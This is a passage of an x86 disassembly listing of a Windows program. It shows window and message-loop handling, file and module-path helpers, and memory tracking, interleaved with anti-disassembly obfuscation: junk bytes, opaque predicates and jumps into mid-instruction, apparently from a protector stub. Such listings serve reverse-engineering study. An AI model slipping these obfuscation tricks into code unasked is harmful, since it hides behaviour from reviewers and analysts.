jmp short loc_4B70BE
; ---------------------------------------------------------------------------
loc_4B70ED: ; CODE XREF: sub_4B6F14+1BAj
; sub_4B6F14+1D5j
jmp short loc_4B7122
; ---------------------------------------------------------------------------
loc_4B70EF: ; CODE XREF: sub_4B6F14+19Fj
cmp [ebp+arg_8], 1
jnz short loc_4B7122
call dword_4ED03C ; GetTickCount
cmp eax, dword_4F44AC
jb short loc_4B7122
push 1
mov edx, [ebp+arg_0]
push edx
call dword_4ED1F4 ; KillTimer
push 0
push 0
push 40Ah
mov eax, [ebp+arg_0]
push eax
call dword_4ED25C ; SendMessageA
loc_4B7122: ; CODE XREF: sub_4B6F14:loc_4B70EDj
; sub_4B6F14+1DFj ...
xor eax, eax
jmp short loc_4B714A
; ---------------------------------------------------------------------------
loc_4B7126: ; CODE XREF: sub_4B6F14+65j
mov ecx, [ebp+arg_0]
push ecx
call dword_4ED228 ; DestroyWindow
xor eax, eax
jmp short loc_4B714A
; ---------------------------------------------------------------------------
loc_4B7134: ; CODE XREF: sub_4B6F14+3Fj
; sub_4B6F14+6Bj
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4ED23C ; DefWindowProcA
loc_4B714A: ; CODE XREF: sub_4B6F14+138j
; sub_4B6F14+150j ...
mov esp, ebp
pop ebp
retn 10h
sub_4B6F14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B7150 proc near ; DATA XREF: sub_4B6C08+77o
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
push 0
mov al, byte_4F44A4
push eax
mov cl, byte_4F44A5
push ecx
mov edx, dword_4F448C
push edx
mov eax, dword_4F4490
push eax
call sub_4B6C08
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4B718A
xor eax, eax
jmp loc_4B720F
; ---------------------------------------------------------------------------
loc_4B718A: ; CODE XREF: sub_4B7150+31j
cmp dword_4F4494, 0
jz short loc_4B71AC
call dword_4ED03C ; GetTickCount
mov ecx, dword_4F4494
imul ecx, 3E8h
add eax, ecx
mov dword_4F44AC, eax
loc_4B71AC: ; CODE XREF: sub_4B7150+41j
push 0
push 0FAh
push 1
mov edx, [ebp+var_4]
push edx
call dword_4ED200 ; SetTimer
loc_4B71BF: ; CODE XREF: sub_4B7150:loc_4B720Bj
mov eax, [ebp+var_4]
push eax
call dword_4ED27C ; IsWindow
test eax, eax
jz short loc_4B720D
push 3
push 0
push 0
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_20]
push edx
call dword_4ED280 ; PeekMessageA
test eax, eax
jz short loc_4B7203
cmp [ebp+var_1C], 12h
jnz short loc_4B71ED
jmp short loc_4B720D
; ---------------------------------------------------------------------------
loc_4B71ED: ; CODE XREF: sub_4B7150+99j
lea eax, [ebp+var_20]
push eax
call dword_4ED260 ; TranslateMessage
lea ecx, [ebp+var_20]
push ecx
call dword_4ED264 ; DispatchMessageA
jmp short loc_4B720B
; ---------------------------------------------------------------------------
loc_4B7203: ; CODE XREF: sub_4B7150+93j
push 1
call dword_4ED1A4 ; Sleep
loc_4B720B: ; CODE XREF: sub_4B7150+B1j
jmp short loc_4B71BF
; ---------------------------------------------------------------------------
loc_4B720D: ; CODE XREF: sub_4B7150+7Bj
; sub_4B7150+9Bj
xor eax, eax
loc_4B720F: ; CODE XREF: sub_4B7150+35j
mov esp, ebp
pop ebp
retn 4
sub_4B7150 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1Ch
mov byte ptr [ebp-10h], 0
push 0
push 8000080h
push 3
push 0
push 1
push 80000000h
mov eax, [ebp+8]
push eax
call dword_4ED0B8 ; CreateFileA
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 0FFFFFFFFh
jnz short loc_4B7248
xor al, al
jmp short loc_4B72BE
; ---------------------------------------------------------------------------
loc_4B7248: ; CODE XREF: .text:004B7242j
push 0
mov ecx, [ebp-14h]
push ecx
call dword_4ED0B4 ; GetFileSize
mov [ebp-8], eax
mov edx, [ebp-8]
push edx
call sub_4C85E1
add esp, 4
mov [ebp-18h], eax
mov eax, [ebp-18h]
mov [ebp-0Ch], eax
push 0
lea ecx, [ebp-4]
push ecx
mov edx, [ebp-8]
push edx
mov eax, [ebp-0Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call dword_4ED0B0 ; ReadFile
test eax, eax
jz short loc_4B729F
mov dl, [ebp+10h]
push edx
mov al, [ebp+0Ch]
push eax
mov ecx, [ebp-0Ch]
push ecx
call sub_4B6BB7
add esp, 0Ch
mov [ebp-10h], al
loc_4B729F: ; CODE XREF: .text:004B7286j
mov edx, [ebp-0Ch]
mov [ebp-1Ch], edx
mov eax, [ebp-1Ch]
push eax
call sub_4C85D6
add esp, 4
mov ecx, [ebp-14h]
push ecx
call dword_4ED0E8 ; CloseHandle
mov al, [ebp-10h]
loc_4B72BE: ; CODE XREF: .text:004B7246j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4B72D0(char *Str)
sub_4B72D0 proc near ; CODE XREF: .text:004B5A0Bp
; .text:004B9923p
var_24C = byte ptr -24Ch
var_148 = dword ptr -148h
var_144 = byte ptr -144h
Source = byte ptr -118h
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24Ch
push 104h
lea eax, [ebp+var_24C]
push eax
push 0
call dword_4ED1C4 ; GetModuleFileNameA
test eax, eax
jnz short loc_4B72F5
xor al, al
jmp short loc_4B735B
; ---------------------------------------------------------------------------
loc_4B72F5: ; CODE XREF: sub_4B72D0+1Fj
lea ecx, [ebp+var_144]
push ecx
lea edx, [ebp+var_24C]
push edx
call dword_4ED0C0 ; FindFirstFileA
mov [ebp+var_148], eax
cmp [ebp+var_148], 0FFFFFFFFh
jnz short loc_4B731C
xor al, al
jmp short loc_4B735B
; ---------------------------------------------------------------------------
loc_4B731C: ; CODE XREF: sub_4B72D0+46j
mov eax, [ebp+var_148]
push eax
call dword_4ED0BC ; FindClose
lea ecx, [ebp+Source]
push ecx ; Source
mov edx, [ebp+Str]
push edx ; Dest
call _strcpy_0
add esp, 8
push 2Eh ; Ch
mov eax, [ebp+Str]
push eax ; Str
call _strrchr_0
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4B7359
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 0
loc_4B7359: ; CODE XREF: sub_4B72D0+81j
mov al, 1
loc_4B735B: ; CODE XREF: sub_4B72D0+23j
; sub_4B72D0+4Aj
mov esp, ebp
pop ebp
retn
sub_4B72D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4B735F(wchar_t *Str)
sub_4B735F proc near ; CODE XREF: .text:004B9A13p
var_460 = byte ptr -460h
var_258 = dword ptr -258h
var_254 = byte ptr -254h
Source = word ptr -228h
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 460h
push 104h
lea eax, [ebp+var_460]
push eax
push 0
call dword_4ED1BC ; GetModuleFileNameW
test eax, eax
jnz short loc_4B7384
xor al, al
jmp short loc_4B73EC
; ---------------------------------------------------------------------------
loc_4B7384: ; CODE XREF: sub_4B735F+1Fj
lea ecx, [ebp+var_254]
push ecx
lea edx, [ebp+var_460]
push edx
call dword_4ED0C4 ; FindFirstFileW
mov [ebp+var_258], eax
cmp [ebp+var_258], 0FFFFFFFFh
jnz short loc_4B73AB
xor al, al
jmp short loc_4B73EC
; ---------------------------------------------------------------------------
loc_4B73AB: ; CODE XREF: sub_4B735F+46j
mov eax, [ebp+var_258]
push eax
call dword_4ED0BC ; FindClose
lea ecx, [ebp+Source]
push ecx ; Source
mov edx, [ebp+Str]
push edx ; Dest
call _wcscpy
add esp, 8
push 2Eh ; Ch
mov eax, [ebp+Str]
push eax ; Str
call _wcsrchr
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4B73EA
mov ecx, [ebp+var_4]
mov word ptr [ecx], 0
loc_4B73EA: ; CODE XREF: sub_4B735F+81j
mov al, 1
loc_4B73EC: ; CODE XREF: sub_4B735F+23j
; sub_4B735F+4Aj
mov esp, ebp
pop ebp
retn
sub_4B735F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B73F0 proc near ; DATA XREF: .data:004ED294o
push ebp
mov ebp, esp
call sub_4B73FA
pop ebp
retn
sub_4B73F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B73FA proc near ; CODE XREF: sub_4B73F0+3p
push ebp
mov ebp, esp
mov eax, dword_4ED3E4
mov dword_4F4738, eax
pop ebp
retn
sub_4B73FA endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 83h ; ƒ
db 0ECh ; ì
db 1Ch
db 6Ah ; j
db 1Ch
db 8Dh ;
db 45h ; E
db 0E4h ; ä
db 50h ; P
db 8Bh ; ‹
db 4Dh ; M
db 0Ch
db 51h ; Q
db 8Bh ; ‹
db 55h ; U
db 8
db 52h ; R
db 0FFh
db 15h
db 0C8h ; È
db 0D0h ; Ð
db 4Eh ; N
db 0
db 8Bh ; ‹
db 45h ; E
db 0E8h ; è
db 8Bh ; ‹
db 0E5h ; å
db 5Dh ; ]
db 0C3h ; Ã
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4B742A(int,int,size_t Size,void *Src)
sub_4B742A proc near ; CODE XREF: sub_4B742A+69p
; sub_4B742A+8Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Size = dword ptr 10h
Src = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
sub eax, dword_4F4754
cdq
and edx, 0FFFh
add eax, edx
sar eax, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
sub eax, dword_4F4754
mov ecx, [ebp+Size]
lea eax, [eax+ecx-1]
cdq
and edx, 0FFFh
add eax, edx
sar eax, 0Ch
mov [ebp+var_8], eax
mov edx, [ebp+var_C]
cmp edx, [ebp+var_8]
jz short loc_4B74C0
mov eax, [ebp+var_8]
shl eax, 0Ch
mov ecx, dword_4F4754
add ecx, eax
sub ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
mov edx, [ebp+Src]
push edx ; Src
mov eax, [ebp+var_10]
push eax ; Size
mov ecx, [ebp+arg_4]
push ecx ; int
mov edx, [ebp+arg_0]
push edx ; int
call sub_4B742A
add esp, 10h
mov eax, [ebp+Src]
add eax, [ebp+var_10]
push eax ; Src
mov ecx, [ebp+Size]
sub ecx, [ebp+var_10]
push ecx ; Size
mov edx, [ebp+arg_4]
add edx, [ebp+var_10]
push edx ; int
mov eax, [ebp+arg_0]
push eax ; int
call sub_4B742A
add esp, 10h
mov al, 1
jmp short loc_4B7535
; ---------------------------------------------------------------------------
loc_4B74C0: ; CODE XREF: sub_4B742A+43j
push 10h
call sub_4C85E1
add esp, 4
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_C]
mov ecx, dword_4F4748
mov eax, [ecx+eax*4]
mov [edx+0Ch], eax
mov ecx, [ebp+var_C]
mov edx, dword_4F4748
mov eax, [ebp+var_4]
mov [edx+ecx*4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov [ecx+4], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+Size]
mov [eax+8], ecx
mov edx, [ebp+Size]
push edx
call sub_4C85E1
add esp, 4
mov [ebp+var_18], eax
mov eax, [ebp+var_4]
mov ecx, [ebp+var_18]
mov [eax], ecx
mov edx, [ebp+Size]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx ; Dst
call _memcpy_1
add esp, 0Ch
mov al, 1
loc_4B7535: ; CODE XREF: sub_4B742A+94j
mov esp, ebp
pop ebp
retn
sub_4B742A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
jo short loc_4B754B
jl short loc_4B7549
loc_4B7546: ; CODE XREF: .text:loc_4B7549j
; .text:loc_4B754Bj
jmp short loc_4B754D
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B7549: ; CODE XREF: .text:004B7544j
jz short loc_4B7546
loc_4B754B: ; CODE XREF: .text:004B7542j
jmp short loc_4B7546
; ---------------------------------------------------------------------------
loc_4B754D: ; CODE XREF: .text:loc_4B7546j
mov eax, [ebp+8]
mov dword_4F4754, eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh ; CODE XREF: .text:004B75CEj
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B7578
loc_4B7575: ; CODE XREF: .text:004B7596j
jmp short near ptr loc_4B7598+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B7578: ; CODE XREF: .text:004B7573j
xor ebx, ebx
jz short $+2
jmp short loc_4B758B
; ---------------------------------------------------------------------------
dw 0EBB8h
db 0Fh
; ---------------------------------------------------------------------------
loc_4B7581: ; CODE XREF: .text:004B758Dj
mov ecx, 34F9C987h
nop
stc
jz short loc_4B758F
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B758B: ; CODE XREF: .text:004B757Cj
xor eax, eax
jz short loc_4B7581
loc_4B758F: ; CODE XREF: .text:004B7588j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B7575
loc_4B7598: ; CODE XREF: .text:loc_4B7575j
jmp near ptr 92B212FEh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov ecx, [ebp+0Ch]
add ecx, 0FFFh
shr ecx, 0Ch
mov dword_4F4768, ecx
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4B75EA ; CODE XREF: .text:loc_4B75EAj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B75C2: ; CODE XREF: .text:004B75E3j
jmp short loc_4B75E1
; ---------------------------------------------------------------------------
loc_4B75C4: ; CODE XREF: .text:loc_4B75E1j
xor ecx, ecx
loc_4B75C6: ; CODE XREF: .text:004B75D5j
jz short $+2
jmp short loc_4B75DA
; ---------------------------------------------------------------------------
loc_4B75CA: ; CODE XREF: .text:004B75DEj
stc
xor ecx, 3
jz short near ptr loc_4B755D+3
jmp short loc_4B75D7
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B75D3: ; CODE XREF: .text:loc_4B75D7j
jmp short loc_4B75E5
; ---------------------------------------------------------------------------
jz short loc_4B75C6
loc_4B75D7: ; CODE XREF: .text:004B75D0j
jnb short loc_4B75D3
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B75DA: ; CODE XREF: .text:004B75C8j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B75CA
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B75E1: ; CODE XREF: .text:loc_4B75C2j
jmp short loc_4B75C4
; ---------------------------------------------------------------------------
jmp short loc_4B75C2
; ---------------------------------------------------------------------------
loc_4B75E5: ; CODE XREF: .text:loc_4B75D3j
repne sbb al, 0DBh
jmp short loc_4B75ED
; ---------------------------------------------------------------------------
loc_4B75EA: ; CODE XREF: .text:004B75BDj
jmp short near ptr loc_4B75BD+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B75ED: ; CODE XREF: .text:004B75E8j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov edx, [ebp+14h]
mov dword_4F475C, edx
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh ; CODE XREF: .text:loc_4B7687j
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4B7623
loc_4B7620: ; CODE XREF: .text:004B7641j
jmp short near ptr loc_4B7643+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B7623: ; CODE XREF: .text:004B761Ej
xor ebx, ebx
jz short $+2
jmp short loc_4B7636
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4B762C: ; CODE XREF: .text:004B7638j
mov ecx, 34F9C987h
nop
stc
jz short loc_4B763A
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4B7636: ; CODE XREF: .text:004B7627j
xor eax, eax
jz short loc_4B762C
loc_4B763A: ; CODE XREF: .text:004B7633j
mov eax, 4840C987h
test eax, eax
jnz short loc_4B7620
loc_4B7643: ; CODE XREF: .text:loc_4B7620j
jmp near ptr 92B213A9h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov eax, dword_4F4768
shl eax, 2
push eax
call sub_4C85E1
add esp, 4
mov [ebp-8], eax
mov ecx, [ebp-8]
mov dword_4F4770, ecx
pusha
xor eax, eax
jnz short loc_4B7670
jmp short loc_4B7685
; ---------------------------------------------------------------------------
loc_4B7670: ; CODE XREF: .text:004B766Cj
jmp short loc_4B76A5
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4B7677: ; CODE XREF: .text:loc_4B7685j
jo short loc_4B7687
jmp short near ptr loc_4B7687+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh ; CODE XREF: .text:004B76F0j
db 9
; ---------------------------------------------------------------------------
loc_4B7685: ; CODE XREF: .text:004B766Ej
jz short loc_4B7677
loc_4B7687: ; CODE XREF: .text:loc_4B7677j
; .text:004B7679j
jmp short near ptr loc_4B760E+2
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 8B6133A0h, 4F476815h, 2E2C100h, 0F43E852h, 0C4830001h
dd 0F4458904h
db 8Bh
; ---------------------------------------------------------------------------
loc_4B76A5: ; CODE XREF: .text:loc_4B7670j
inc ebp
hlt
; ---------------------------------------------------------------------------
mov dword_4F4774, eax
jo short loc_4B76B5
jl short loc_4B76B3
loc_4B76B0: ; CODE XREF: .text:loc_4B76B3j
; .text:loc_4B76B5j
jmp short loc_4B76B7
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4B76B3: ; CODE XREF: .text:004B76AEj
jz short loc_4B76B0
loc_4B76B5: ; CODE XREF: .text:004B76ACj
jmp short loc_4B76B0
; ---------------------------------------------------------------------------
loc_4B76B7: ; CODE XREF: .text:loc_4B76B0j
mov ecx, dword_4F4768
shl ecx, 2
push ecx
call sub_4C85E1
add esp, 4
mov [ebp-10h], eax
mov edx, [ebp-10h]
mov dword_4F4778, edx
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
loc_4B76DE: ; CODE XREF: .text:004B774Cj
pusha
jmp short loc_4B770C ; CODE XREF: .text:loc_4B770Cj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B76E4: ; CODE XREF: .text:004B7705j
jmp short loc_4B7703
; ---------------------------------------------------------------------------
loc_4B76E6: ; CODE XREF: .text:loc_4B7703j
xor ecx, ecx
loc_4B76E8: ; CODE XREF: .text:004B76F7j
jz short $+2
jmp short loc_4B76FC
; ---------------------------------------------------------------------------
loc_4B76EC: ; CODE XREF: .text:004B7700j
stc
xor ecx, 3
jz short near ptr dword_4B767C+6
jmp short loc_4B76F9
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B76F5: ; CODE XREF: .text:loc_4B76F9j
jmp short loc_4B7707
; ---------------------------------------------------------------------------
jz short loc_4B76E8
loc_4B76F9: ; CODE XREF: .text:004B76F2j
jnb short loc_4B76F5
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B76FC: ; CODE XREF: .text:004B76EAj
sbb bl, bl
xor ebx, ebx
jmp short loc_4B76EC
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B7703: ; CODE XREF: .text:loc_4B76E4j
jmp short loc_4B76E6
; ---------------------------------------------------------------------------
jmp short loc_4B76E4
; ---------------------------------------------------------------------------
loc_4B7707: ; CODE XREF: .text:loc_4B76F5j
repne sbb al, 0DBh
jmp short loc_4B770F
; ---------------------------------------------------------------------------
loc_4B770C: ; CODE XREF: .text:004B76DFj
jmp short near ptr loc_4B76DF+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B770F: ; CODE XREF: .text:004B770Aj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
push 1000h
call sub_4C85E1
add esp, 4
mov [ebp-14h], eax
mov eax, [ebp-14h]
mov dword_4F477C, eax
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
loc_4B773A: ; CODE XREF: .text:loc_4B77B1j
pusha
jmp short loc_4B7768 ; CODE XREF: .text:loc_4B7768j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4B7740: ; CODE XREF: .text:004B7761j
jmp short loc_4B775F
; ---------------------------------------------------------------------------
loc_4B7742: ; CODE XREF: .text:loc_4B775Fj
xor ecx, ecx
loc_4B7744: ; CODE XREF: .text:004B7753j
jz short $+2
jmp short loc_4B7758
; ---------------------------------------------------------------------------
loc_4B7748: ; CODE XREF: .text:004B775Cj
stc
xor ecx, 3
jz short loc_4B76DE
jmp short loc_4B7755
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4B7751: ; CODE XREF: .text:loc_4B7755j
jmp short loc_4B7763
; ---------------------------------------------------------------------------
jz short loc_4B7744
loc_4B7755: ; CODE XREF: .text:004B774Ej
jnb short loc_4B7751
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4B7758: ; CODE XREF: .text:004B7746j
sbb bl, bl
xor ebx, ebx
jmp short loc_4B7748
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4B775F: ; CODE XREF: .text:loc_4B7740j
jmp short loc_4B7742
; ---------------------------------------------------------------------------
jmp short loc_4B7740
; ---------------------------------------------------------------------------
loc_4B7763: ; CODE XREF: .text:loc_4B7751j
repne sbb al, 0DBh
jmp short loc_4B776B
; ---------------------------------------------------------------------------
loc_4B7768: ; CODE XREF: .text:004B773Bj
jmp short near ptr loc_4B773B+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4B776B: ; CODE XREF: .text:004B7766j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, dword_4F4768
shl ecx, 2
push ecx
call sub_4C85E1
add esp, 4
mov [ebp-18h], eax
mov edx, [ebp-18h]
mov dword_4F4748, edx
pusha
xor eax, eax
jnz short loc_4B779A
jmp short loc_4B77AF
; ---------------------------------------------------------------------------
loc_4B779A: ; CODE XREF: .text:004B7796j
jmp short loc_4B77CF
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4B77A1: ; CODE XREF: .text:loc_4B77AFj
jo short loc_4B77B1
jmp short near ptr loc_4B77B1+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4B77AF: ; CODE XREF: .text:004B7798j
jz short loc_4B77A1
loc_4B77B1: ; CODE XREF: .text:loc_4B77A1j
; .text:004B77A3j
jmp short loc_4B773A
; ---------------------------------------------------------------------------
db 0DBh
dd 33A0F07Ah, 0FC45C761h, 0
; ---------------------------------------------------------------------------
jmp short loc_4B77CB
; ---------------------------------------------------------------------------
loc_4B77C2: ; CODE XREF: .text:004B7814j
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_4B77CB: ; CODE XREF: .text:004B77C0j
mov ecx, [ebp-4]
; ---------------------------------------------------------------------------
db 3Bh
; ---------------------------------------------------------------------------
loc_4B77CF: ; CODE XREF: .text:loc_4B779Aj
or eax, offset dword_4F4768
jge short loc_4B7816
mov edx, [ebp-4]
mov eax, dword_4F4770
mov dword ptr [eax+edx*4], 0FFFFFFFFh
mov ecx, [ebp-4]
mov edx, dword_4F4774
mov dword ptr [edx+ecx*4], 0
mov eax, [ebp-4]
mov ecx, dword_4F4778
mov dword ptr [ecx+eax*4], 0FFFFFFFFh
mov edx, [ebp-4]
mov eax, dword_4F4748
mov dword ptr [eax+edx*4], 0
jmp short loc_4B77C2
; ---------------------------------------------------------------------------
loc_4B7816: ; CODE XREF: .text:004B77D4j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4F4770
mov [ebp-4], eax
mov ecx, [ebp-4]
push ecx
call sub_4C85D6
add esp, 4
mov edx, dword_4F474C
mov [ebp-8], edx
mov eax, [ebp-8]
push eax
call sub_4C85D6
add esp, 4
mov ecx, dword_4F4774
mov [ebp-0Ch], ecx
mov edx, [ebp-0Ch]
push edx
call sub_4C85D6
add esp, 4
mov eax, dword_4F4778
mov [ebp-10h], eax
mov ecx, [ebp-10h]
push ecx
call sub_4C85D6
add esp, 4
mov edx, dword_4F477C
mov [ebp-14h], edx
mov eax, [ebp-14h]
push eax
call sub_4C85D6
add esp, 4
mov ecx, dword_4F4748
mov [ebp-18h], ecx
mov edx, [ebp-18h]
push edx
call sub_4C85D6
add esp, 4
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B78A3 proc near ; DATA XREF: .text:004B9C10o
var_1A0 = dword ptr -1A0h
var_19C = dword ptr -19Ch
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = dword ptr -18Ch
var_188 = dword ptr -188h
var_184 = dword ptr -184h
var_180 = dword ptr -180h
var_17C = dword ptr -17Ch
var_178 = dword ptr -178h
var_174 = byte ptr -174h
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = byte ptr -14Ch
Dst = byte ptr -4Ch
var_48 = dword ptr -48h
var_3C = dword ptr -3Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4F1F88
push offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFE70h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
mov [ebp+var_24], eax
push 2
call dword_4ED088 ; GetCurrentThread
push eax
call dword_4ED084 ; SetThreadPriority
loc_4B78E1: ; CODE XREF: sub_4B78A3+69j
mov ecx, [ebp+var_24]
push ecx
call sub_4B7C87
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_4B7919
push 1F4h
mov edx, [ebp+var_24]
push edx
call dword_4ED224 ; WaitForInputIdle
cmp eax, 102h
jnz short loc_4B790E
jmp short loc_4B78E1
; ---------------------------------------------------------------------------
loc_4B790E: ; CODE XREF: sub_4B78A3+67j
push 0FAh
call dword_4ED1A4 ; Sleep
loc_4B7919: ; CODE XREF: sub_4B78A3+51j
mov eax, [ebp+var_24]
push eax
call sub_4B7C87
add esp, 4
and eax, 0FFh
test eax, eax
jnz short loc_4B7935
xor eax, eax
jmp loc_4B7C74
; ---------------------------------------------------------------------------
loc_4B7935: ; CODE XREF: sub_4B78A3+89j
push 7530h
mov ecx, [ebp+var_24]
push ecx
call dword_4ED224 ; WaitForInputIdle
push 1F4h
call dword_4ED1A4 ; Sleep
push 0 ; Time
call _time_0
add esp, 4
mov esi, eax
call dword_4ED03C ; GetTickCount
xor esi, eax
mov [ebp+var_178], esi
mov edx, [ebp+var_178]
mov [ebp+var_154], edx
mov [ebp+var_18C], 0Ah
mov eax, [ebp+var_154]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_180], eax
mov eax, [ebp+var_154]
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_17C], edx
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_188], eax
mov eax, 1DF5E0Dh
cdq
mov ecx, 2710h
idiv ecx
mov [ebp+var_184], edx
mov ecx, [ebp+var_17C]
imul ecx, [ebp+var_184]
mov edx, [ebp+var_180]
imul edx, [ebp+var_184]
mov eax, [ebp+var_17C]
imul eax, [ebp+var_188]
add eax, edx
xor edx, edx
mov esi, 2710h
div esi
mov eax, edx
imul eax, 2710h
add eax, ecx
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov eax, edx
add eax, 1
xor edx, edx
mov ecx, 5F5E100h
div ecx
mov [ebp+var_154], edx
mov eax, [ebp+var_154]
xor edx, edx
mov ecx, 2710h
div ecx
imul eax, [ebp+var_18C]
xor edx, edx
mov ecx, 2710h
div ecx
add eax, 4
mov [ebp+var_150], eax
